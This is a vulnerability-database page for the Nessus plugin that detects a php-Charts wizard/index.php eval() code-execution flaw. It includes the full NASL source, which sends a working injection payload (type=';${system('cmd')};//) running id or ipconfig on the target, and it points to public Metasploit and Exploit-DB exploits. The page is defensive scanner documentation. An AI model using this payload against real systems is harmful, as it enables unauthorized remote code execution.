php-Charts wizard/index.php PHP Execution - Nessus

High Plugin ID: 67174

This page contains detailed information about the php-Charts wizard/index.php PHP Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 67174
Name: php-Charts wizard/index.php PHP Execution
Filename: php_charts_wizard_type_code_exec.nasl
Vulnerability Published: 2013-05-17
This Plugin Published: 2013-07-03
Last Modification Time: 2022-04-11
Plugin Version: 1.9
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: os_fingerprint.nasl, php_charts_detect.nasl
Required KB Items [?]: www/php-charts

Vulnerability Information

Severity: High
Vulnerability Published: 2013-05-17
Patch Published: N/A
CVE [?]: N/A
CPE [?]: x-cpe:/a:php_charts:php_charts

Synopsis

The remote web server hosts an application that allows arbitrary PHP code execution.

Description

The php-Charts install hosted on the remote web server contains a flaw that could allow arbitrary PHP code execution. Input passed to the 'wizard/index.php' script is not properly sanitized before being used in an eval() call. An unauthenticated, remote attacker could leverage this vulnerability to execute arbitrary PHP code on the remote host.

Solution

Unknown at this time.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the php-Charts wizard/index.php PHP Execution vulnerability:

Metasploit: exploit/unix/webapp/php_charts_exec
[PHP-Charts v1.0 PHP Code Execution Vulnerability]
Exploit-DB: exploits/php/webapps/25496.txt
[EDB-25496: PHP-Charts 1.0 - Code Execution]
Exploit-DB: exploits/php/webapps/26453.py
[EDB-26453: PHP-Charts 1.0 - 'index.php?type' Remote Code Execution]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:U/RC:ND

CVSS Base Score:	7.5 (High)
Impact Subscore:	6.4
Exploitability Subscore:	10.0
CVSS Temporal Score:	7.1 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	7.1 (High)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(67174);
  script_version("1.9");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
  script_bugtraq_id(57448);
  script_xref(name:"EDB-ID", value:"25496");
  script_xref(name:"EDB-ID", value:"26453");

  script_name(english:"php-Charts wizard/index.php PHP Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts an application that allows arbitrary PHP
code execution.");
  script_set_attribute(attribute:"description", value:
"The php-Charts install hosted on the remote web server contains a flaw
that could allow arbitrary PHP code execution.  Input passed to the
'wizard/index.php' script is not properly sanitized before being used in
an eval() call.  An unauthenticated, remote attacker could leverage this
vulnerability to execute arbitrary PHP code on the remote host.");
  script_set_attribute(attribute:"see_also", value:"http://www.php-charts.com");
  script_set_attribute(attribute:"solution", value:
"Unknown at this time.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'PHP-Charts v1.0 PHP Code Execution Vulnerability');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/05/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/07/03");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/a:php_charts:php_charts");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("php_charts_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("www/php-charts");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, php:TRUE);

install = get_install_from_kb(appname:'php-charts', port:port, exit_on_fail:TRUE);

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ('Windows' >< os)
    cmds['ipconfig/all'] = 'Windows IP Configuration|IP(v[46])? Address[ .]+: ';
  else
    cmds['id'] = 'uid=[0-9]+.*gid=[0-9]+.*';
}
else
{
    cmds['ipconfig/all'] = 'Windows IP Configuration|IP(v[46])? Address[ .]+: ';
    cmds['id'] = 'uid=[0-9]+.*gid=[0-9]+.*';
}

foreach cmd (keys(cmds))
{
  output = "";
  url = install['dir']+"/wizard/index.php?type=';${system('"+cmd+"')};//";
  res = http_send_recv3(
    method : "GET",
    item   : url,
    port   : port,
    exit_on_fail:TRUE
  );

  body = res[2];
  if (!egrep(string:body, pattern:cmds[cmd])) continue;
  output = body;

  # Remove any leading PHP errors or HTML
  if ("ipconfig" >< cmd)
    output_starter = "Windows IP Config";
  else
    output_starter = "uid=";

  output = substr(output, stridx(output, output_starter));

  # Remove any trailing PHP errors or HTML
  if ("<" >< output)
  {
    html_start = stridx(output, "<");
    output = substr(output, 0, html_start - 1);
  }

  # Trim output if overly lengthy
  output = beginning_of_response(resp:output, max_lines:20);

  break;
}

if (strlen(output) > 0)
{
  if (report_verbosity > 0)
  {
    # Add request
    report =
      '\nNessus executed "' + cmd + '" by sending the following request :\n\n' +
      crap(data:'-', length:30) + " request " + crap(data:'-', length:30) + '\n' +
      chomp(http_last_sent_request()) + '\n' +
      crap(data:'-', length:30) + " request " + crap(data:'-', length:30) + '\n';

      # Add command output
      if (report_verbosity > 1)
        report += '\nWhich resulted in the following command output :\n\n' + data_protection::sanitize_uid(output:output);

    security_hole(port:port, extra:report);
  }
  else security_hole(port);
}
else
{
  base_url = build_url(qs:install['dir']+'/', port:port);
  audit(AUDIT_WEB_APP_NOT_AFFECTED, "php-Charts", base_url);
}

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/php_charts_wizard_type_code_exec.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\php_charts_wizard_type_code_exec.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/php_charts_wizard_type_code_exec.nasl

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How to Run

Here is how to run the php-Charts wizard/index.php PHP Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select php-Charts wizard/index.php PHP Execution plugin ID 67174.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl php_charts_wizard_type_code_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a php_charts_wizard_type_code_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - php_charts_wizard_type_code_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state php_charts_wizard_type_code_exec.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

57448

See also:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file php_charts_wizard_type_code_exec.nasl version 1.9. For more plugins, visit the Nessus Plugin Library.

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php-Charts wizard/index.php PHP Execution - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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